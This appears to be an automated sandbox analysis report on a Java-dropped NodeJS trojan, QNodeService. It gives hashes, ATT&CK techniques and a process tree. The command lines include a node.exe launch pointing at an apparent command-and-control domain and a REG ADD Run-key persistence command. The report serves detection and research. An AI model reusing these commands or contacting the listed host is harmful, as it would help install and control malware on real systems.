qnodeservice | 4d99df44f8b2928c9faf68d49c2fe083c721dccba6c9fdbb5bd9e769aef0862a

General

Target

pakets1.jar
Size

89KB
MD5

d562ac2509dbeff1f3759548f5f7137a
SHA1

db4963f847bec83553d7c4e230854386319a2f25
SHA256

4d99df44f8b2928c9faf68d49c2fe083c721dccba6c9fdbb5bd9e769aef0862a
SHA512

37a7b44c2130753ece99b0f5ae79cf3ea42210dc712589426743873da89e2cbcfe99b8c158444ad2f3d658c141f2d841c8ec11c8abadb6b06ac1ea4df9aac5a9

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice
Executes dropped EXE 3 IoCs

Processes:

node.exenode.exenode.exe

pid process

2252 node.exe
3836 node.exe
1156 node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\1d251c1f-a52a-425e-8d4a-32175720fab2 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

27 wtfismyip.com
28 wtfismyip.com

flow	ioc
27	wtfismyip.com
28	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

node.exenode.exenode.exe

pid	process
2252	node.exe
2252	node.exe
2252	node.exe
2252	node.exe
3836	node.exe
3836	node.exe
3836	node.exe
3836	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

java.exejavaw.exenode.exenode.exenode.execmd.exe

description	pid	process	target process
PID 1056 wrote to memory of 652	1056	java.exe	javaw.exe
PID 1056 wrote to memory of 652	1056	java.exe	javaw.exe
PID 652 wrote to memory of 2252	652	javaw.exe	node.exe
PID 652 wrote to memory of 2252	652	javaw.exe	node.exe
PID 2252 wrote to memory of 3836	2252	node.exe	node.exe
PID 2252 wrote to memory of 3836	2252	node.exe	node.exe
PID 3836 wrote to memory of 1156	3836	node.exe	node.exe
PID 3836 wrote to memory of 1156	3836	node.exe	node.exe
PID 1156 wrote to memory of 692	1156	node.exe	cmd.exe
PID 1156 wrote to memory of 692	1156	node.exe	cmd.exe
PID 692 wrote to memory of 2928	692	cmd.exe	reg.exe
PID 692 wrote to memory of 2928	692	cmd.exe	reg.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\pakets1.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:1056

C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\bcc19ae2.tmp
2⤵
- Suspicious use of WriteProcessMemory
PID:652

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2252

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_FuioVm\boot.js --hub-domain september101991.ddns.net
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3836

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_FuioVm\boot.js --hub-domain september101991.ddns.net
5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1156

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "1d251c1f-a52a-425e-8d4a-32175720fab2" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
6⤵
- Suspicious use of WriteProcessMemory
PID:692

C:\Windows\system32\reg.exe
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "1d251c1f-a52a-425e-8d4a-32175720fab2" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
7⤵
- Adds Run key to start application
PID:2928

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
MD5
876d00a644427f8c221de12cde4236bb

SHA1
2719baabeabdae5ed3d6fa289539fd8f9a312805

SHA256
02be9ffba2a2d78295666bed91c9a9ed5b04815318aafbbfb7656b3de8d3e488

SHA512
0eeab01435281ff3454491e9a07c56c1a670a01c31a43b38481d2702cfa9152b3531acef564ed47ad15678b9be079e2d1274b9347bf822c08b5aec3f3ce15ab5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_qhub_node_FuioVm\boot.js
MD5
3859487feb5152e9d1afc4f8cd320608

SHA1
7bf154c9ddf3a71abf15906cdb60773e8ae07b62

SHA256
8d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13

SHA512
826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8

Download Submit
C:\Users\Admin\AppData\Local\Temp\bcc19ae2.tmp
MD5
d562ac2509dbeff1f3759548f5f7137a

SHA1
db4963f847bec83553d7c4e230854386319a2f25

SHA256
4d99df44f8b2928c9faf68d49c2fe083c721dccba6c9fdbb5bd9e769aef0862a

SHA512
37a7b44c2130753ece99b0f5ae79cf3ea42210dc712589426743873da89e2cbcfe99b8c158444ad2f3d658c141f2d841c8ec11c8abadb6b06ac1ea4df9aac5a9

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
memory/652-53-0x0000000000000000-mapping.dmp

Download
memory/692-182-0x0000000000000000-mapping.dmp

Download
memory/1156-179-0x0000000000000000-mapping.dmp

Download
memory/1156-181-0x0000006F2F740000-0x0000006F2F741000-memory.dmp

Filesize
4KB

Download
memory/2252-171-0x0000000000000000-mapping.dmp

Download
memory/2252-174-0x0000002081080000-0x0000002081081000-memory.dmp

Filesize
4KB

Download
memory/2928-183-0x0000000000000000-mapping.dmp

Download
memory/3836-177-0x0000001FBB300000-0x0000001FBB301000-memory.dmp

Filesize
4KB

Download
memory/3836-175-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads